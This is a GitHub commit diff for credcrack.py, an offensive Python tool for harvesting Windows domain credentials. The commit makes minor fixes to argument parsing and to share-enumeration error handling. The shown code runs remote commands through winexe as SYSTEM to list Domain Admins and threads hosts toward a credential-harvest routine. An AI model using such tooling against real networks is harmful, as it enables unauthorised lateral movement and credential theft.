Skip to content

Commit c901ad2

Browse files
committed
minor fixes
- improved parameter checking on -r and -f - improved error handling of -es function
1 parent ad6da64 commit c901ad2

File tree

1 file changed

+17
-16
lines changed

1 file changed

+17
-16
lines changed

credcrack.py

Lines changed: 17 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
#!/usr/bin/python
22

33
# CredCrack - A fast and stealthy credential harvester
4-
# This script harvests credentials for any given IP(s) without
5-
# ever touching disk. Additionally, it notifies one when
6-
# a domain administrator has been captured. The script is limited to
4+
# This script harvests credentials for any given IP(s) and
5+
# notifies one when domain administrator credentials have
6+
# been captured. The harvester functionality is limited to
77
# systems running Windows and Powershell version 2+
88
#
99
# This program is free software: you can redistribute it and/or modify
@@ -23,7 +23,7 @@
2323
# Email: jb@gojhonny.com
2424
# Twitter: @g0jhonny
2525
# Version: 1.0
26-
# Date: 2015-08-11
26+
# Date: 2015-08-13
2727

2828
import subprocess, os, argparse, time, datetime, socket, base64, threading, Queue, hashlib, binascii, signal, sys, getpass
2929
from shlex import split
@@ -123,7 +123,7 @@ def enum_shares(q, username, password, domain):
123123
try:
124124
while True:
125125
with lock:
126-
os = ""
126+
os = ''
127127
shares, endshares = [], []
128128
rhost = q.get()
129129

@@ -154,9 +154,11 @@ def enum_shares(q, username, password, domain):
154154
else:
155155
endshares.append(" {}OPEN \\\\{}\\{}{} ".format(colors.lightgrey, rhost, share, colors.normal))
156156

157-
print "\n " + "-" * 65 + "\n " + colors.normal + "{} - {} \n ".format(rhost, os) + "-" * 65 + "\n "
158-
for share in endshares:
159-
print share
157+
if endshares:
158+
print "\n " + "-" * 65 + "\n " + colors.normal + "{} - {} \n ".format(rhost, os) + "-" * 65 + "\n "
159+
for share in endshares:
160+
print share
161+
else: print "{}[!]{} No shares to list on {}. Ensure the correct password was used.".format(colors.red, colors.normal, rhost)
160162
q.task_done()
161163

162164
except Exception as e:
@@ -172,7 +174,8 @@ def get_das(rhost, username, password, domain):
172174

173175
try:
174176
print "{}[*]{} Querying domain admin group from {}".format(colors.blue, colors.normal, rhost.rstrip())
175-
da_output = subprocess.check_output(split("winexe --system //{} -U {}/{}%{} 'cmd /c net group \"Domain Admins\" /domain'".format(rhost, domain, username, password)))
177+
da_output = subprocess.check_output(split("winexe --system //{} -U {}/{}%{} 'cmd /c net group \"Domain Admins\" /domain'".format(rhost, domain, username, password)))
178+
176179
for line in da_output.split('\n')[8:]:
177180
if "The command completed" in line:
178181
pass
@@ -181,6 +184,7 @@ def get_das(rhost, username, password, domain):
181184
if da:
182185
das.append(da)
183186
return das
187+
184188
except Exception as e:
185189
print "{}[!]{} Unable to reach to {}".format(colors.red, colors.normal, rhost)
186190
return False
@@ -328,8 +332,9 @@ def main():
328332
required = parser.add_argument_group("Required")
329333
required.add_argument('-d', '--domain', required=True, help='Domain or Workstation')
330334
required.add_argument('-u', '--user', required=True, help='Domain username')
331-
parser.add_argument('-f', '--file', help='File containing IPs to harvest creds from. One IP per line.')
332-
parser.add_argument('-r', '--rhost', help='Remote host IP to harvest creds from.')
335+
action = parser.add_mutually_exclusive_group(required=True)
336+
action.add_argument('-f', '--file', help='File containing IPs to harvest creds from. One IP per line.')
337+
action.add_argument('-r', '--rhost', help='Remote host IP to harvest creds from.')
333338
parser.add_argument('-es', '--enumshares', help='Examine share access on the remote IP(s)', action='store_true')
334339
parser.add_argument('-l', '--lhost', help='Local host IP to launch scans from.')
335340
parser.add_argument('-t', '--threads', help='Number of threads (default: 10)', default=10, type=int)
@@ -356,9 +361,6 @@ def main():
356361
lines = [ip.strip() for ip in f.readlines() if ip.strip() and validate(ip.strip())]
357362
for line in lines:
358363
q.put(line)
359-
else:
360-
print "{}[!]{} Provide a remote host [-r] or file [-f] to examine share access\n".format(colors.red, colors.normal)
361-
362364
if q.queue:
363365
for i in range(args.threads):
364366
worker = threading.Thread(target=enum_shares, args=(q, args.user, args.passwd, args.domain))
@@ -388,7 +390,6 @@ def main():
388390
for good_ip in lines:
389391
q.put(good_ip)
390392
break
391-
392393
if das:
393394
for num in range(args.threads):
394395
worker = threading.Thread(target=harvest, args=(q, args.user, args.passwd, args.domain, args.lhost))
@@ -413,4 +414,4 @@ def main():
413414
clean_up(False, stime)
414415

415416
if __name__ == '__main__':
416-
main()
417+
main()

0 commit comments

Comments
 (0)